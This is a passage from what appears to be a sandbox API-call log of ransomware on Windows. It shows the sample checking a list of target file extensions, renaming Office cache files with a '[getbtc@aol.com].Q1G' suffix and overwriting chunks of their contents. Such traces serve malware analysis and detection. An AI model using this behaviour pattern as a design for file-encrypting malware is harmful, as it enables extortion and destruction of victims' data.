75 [0046.129] lstrlenW (lpString=".doc") returned 4 [0046.129] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.129] lstrlenW (lpString=".docx") returned 5 [0046.129] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.129] lstrlenW (lpString=".pdf") returned 4 [0046.129] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.129] lstrlenW (lpString=".xls") returned 4 [0046.129] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.129] lstrlenW (lpString=".xlsx") returned 5 [0046.129] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.129] lstrlenW (lpString=".ppt") returned 4 [0046.129] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0046.130] lstrlenW (lpString=".zip") returned 4 [0046.130] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.130] lstrlenW (lpString=".rar") returned 4 [0046.130] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.130] lstrlenW (lpString=".bz2") returned 4 [0046.130] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.130] lstrlenW (lpString=".7z") returned 3 [0046.130] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0046.130] lstrlenW (lpString=".dbf") returned 4 [0046.130] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0046.130] lstrlenW (lpString=".1cd") returned 4 [0046.130] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0046.130] lstrlenW (lpString=".jpg") returned 4 [0046.130] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0046.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0046.130] lstrlenW (lpString=".doc") returned 4 [0046.130] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.130] lstrlenW (lpString=".docx") returned 5 [0046.130] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.130] lstrlenW (lpString=".pdf") returned 4 [0046.130] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.130] lstrlenW (lpString=".xls") returned 4 [0046.130] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.130] lstrlenW (lpString=".xlsx") returned 5 [0046.130] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.130] lstrlenW (lpString=".ppt") returned 4 [0046.130] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0046.130] lstrlenW (lpString=".zip") returned 4 [0046.130] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.130] lstrlenW (lpString=".rar") returned 4 [0046.131] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.131] lstrlenW (lpString=".bz2") returned 4 [0046.131] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.131] lstrlenW (lpString=".7z") returned 3 [0046.131] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.131] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0046.131] lstrlenW (lpString=".dbf") returned 4 [0046.131] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.131] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0046.131] lstrlenW (lpString=".1cd") returned 4 [0046.131] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.131] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0046.131] lstrlenW (lpString=".jpg") returned 4 [0046.131] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.131] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0046.131] lstrlenW (lpString="VisioMUI.msi") returned 12 [0046.131] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0046.131] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=2797568) returned 1 [0046.131] CloseHandle (hObject=0x188) returned 1 [0046.131] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi")) returned 0x2020 [0046.132] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0046.132] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0046.132] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0046.132] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0x0) returned 1 [0046.132] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0046.132] ReadFile (in: hFile=0x188, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.476] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0046.476] ReadFile (in: hFile=0x188, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.821] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.822] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0046.822] ReadFile (in: hFile=0x188, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.847] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.847] WriteFile (in: hFile=0x188, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x34dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0047.096] SetEndOfFile (hFile=0x188) returned 1 [0047.096] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fa56f0 [0047.097] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.097] WriteFile (in: hFile=0x188, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.098] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.098] WriteFile (in: hFile=0x188, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.103] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.103] WriteFile (in: hFile=0x188, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.105] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fa56f0 | out: hHeap=0x510000) returned 1 [0047.105] CloseHandle (hObject=0x188) returned 1 [0047.105] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0047.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0047.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0047.106] lstrlenW (lpString=".doc") returned 4 [0047.106] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.106] lstrlenW (lpString=".docx") returned 5 [0047.106] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0047.106] lstrlenW (lpString=".pdf") returned 4 [0047.106] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.106] lstrlenW (lpString=".xls") returned 4 [0047.106] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.106] lstrlenW (lpString=".xlsx") returned 5 [0047.106] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0047.106] lstrlenW (lpString=".ppt") returned 4 [0047.106] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0047.106] lstrlenW (lpString=".zip") returned 4 [0047.106] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.106] lstrlenW (lpString=".rar") returned 4 [0047.106] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.106] lstrlenW (lpString=".bz2") returned 4 [0047.106] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.106] lstrlenW (lpString=".7z") returned 3 [0047.106] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0047.106] lstrlenW (lpString=".dbf") returned 4 [0047.106] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0047.106] lstrlenW (lpString=".1cd") returned 4 [0047.107] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0047.107] lstrlenW (lpString=".jpg") returned 4 [0047.107] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0047.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0047.107] lstrlenW (lpString=".doc") returned 4 [0047.107] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.107] lstrlenW (lpString=".docx") returned 5 [0047.107] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0047.107] lstrlenW (lpString=".pdf") returned 4 [0047.107] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.107] lstrlenW (lpString=".xls") returned 4 [0047.107] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.107] lstrlenW (lpString=".xlsx") returned 5 [0047.107] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0047.107] lstrlenW (lpString=".ppt") returned 4 [0047.107] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0047.107] lstrlenW (lpString=".zip") returned 4 [0047.107] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.107] lstrlenW (lpString=".rar") returned 4 [0047.107] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.107] lstrlenW (lpString=".bz2") returned 4 [0047.107] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.107] lstrlenW (lpString=".7z") returned 3 [0047.107] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0047.107] lstrlenW (lpString=".dbf") returned 4 [0047.107] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0047.107] lstrlenW (lpString=".1cd") returned 4 [0047.108] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0047.108] lstrlenW (lpString=".jpg") returned 4 [0047.108] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.108] lstrcmpiW (lpString1=".cab", lpString2=".Q1G") returned -1 [0047.108] lstrlenW (lpString="ProjLR.cab") returned 10 [0047.108] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0047.398] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=8265165) returned 1 [0047.398] CloseHandle (hObject=0x200) returned 1 [0047.398] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab")) returned 0x2020 [0047.398] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.398] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0047.399] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0047.399] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0x0) returned 1 [0047.399] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0047.399] ReadFile (in: hFile=0x200, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.404] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0047.404] ReadFile (in: hFile=0x200, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.407] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.407] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0047.407] ReadFile (in: hFile=0x200, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.422] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.422] WriteFile (in: hFile=0x200, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x34dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0047.642] SetEndOfFile (hFile=0x200) returned 1 [0047.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f10070 [0047.642] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.642] WriteFile (in: hFile=0x200, lpBuffer=0x3f10070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f10070*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.643] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.643] WriteFile (in: hFile=0x200, lpBuffer=0x3f10070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f10070*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.645] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.645] WriteFile (in: hFile=0x200, lpBuffer=0x3f10070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f10070*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.647] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f10070 | out: hHeap=0x510000) returned 1 [0047.647] CloseHandle (hObject=0x200) returned 1 [0047.648] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0047.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.648] lstrlenW (lpString=".doc") returned 4 [0047.648] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.648] lstrlenW (lpString=".docx") returned 5 [0047.648] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0047.648] lstrlenW (lpString=".pdf") returned 4 [0047.648] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.648] lstrlenW (lpString=".xls") returned 4 [0047.648] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.648] lstrlenW (lpString=".xlsx") returned 5 [0047.648] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0047.648] lstrlenW (lpString=".ppt") returned 4 [0047.648] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.648] lstrlenW (lpString=".zip") returned 4 [0047.648] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.648] lstrlenW (lpString=".rar") returned 4 [0047.648] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.648] lstrlenW (lpString=".bz2") returned 4 [0047.649] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.649] lstrlenW (lpString=".7z") returned 3 [0047.649] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.649] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.649] lstrlenW (lpString=".dbf") returned 4 [0047.649] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.649] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.649] lstrlenW (lpString=".1cd") returned 4 [0047.649] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.649] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.649] lstrlenW (lpString=".jpg") returned 4 [0047.649] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.649] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.649] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.649] lstrlenW (lpString=".doc") returned 4 [0047.649] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.649] lstrlenW (lpString=".docx") returned 5 [0047.649] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0047.649] lstrlenW (lpString=".pdf") returned 4 [0047.649] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.649] lstrlenW (lpString=".xls") returned 4 [0047.649] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.649] lstrlenW (lpString=".xlsx") returned 5 [0047.649] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0047.649] lstrlenW (lpString=".ppt") returned 4 [0047.649] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.649] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.649] lstrlenW (lpString=".zip") returned 4 [0047.649] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.649] lstrlenW (lpString=".rar") returned 4 [0047.649] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.649] lstrlenW (lpString=".bz2") returned 4 [0047.649] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.649] lstrlenW (lpString=".7z") returned 3 [0047.650] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.650] lstrlenW (lpString=".dbf") returned 4 [0047.650] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.650] lstrlenW (lpString=".1cd") returned 4 [0047.650] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.650] lstrlenW (lpString=".jpg") returned 4 [0047.650] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.650] lstrcmpiW (lpString1=".EXE", lpString2=".Q1G") returned -1 [0047.650] lstrlenW (lpString="DW20.EXE") returned 8 [0047.650] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0047.798] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=838536) 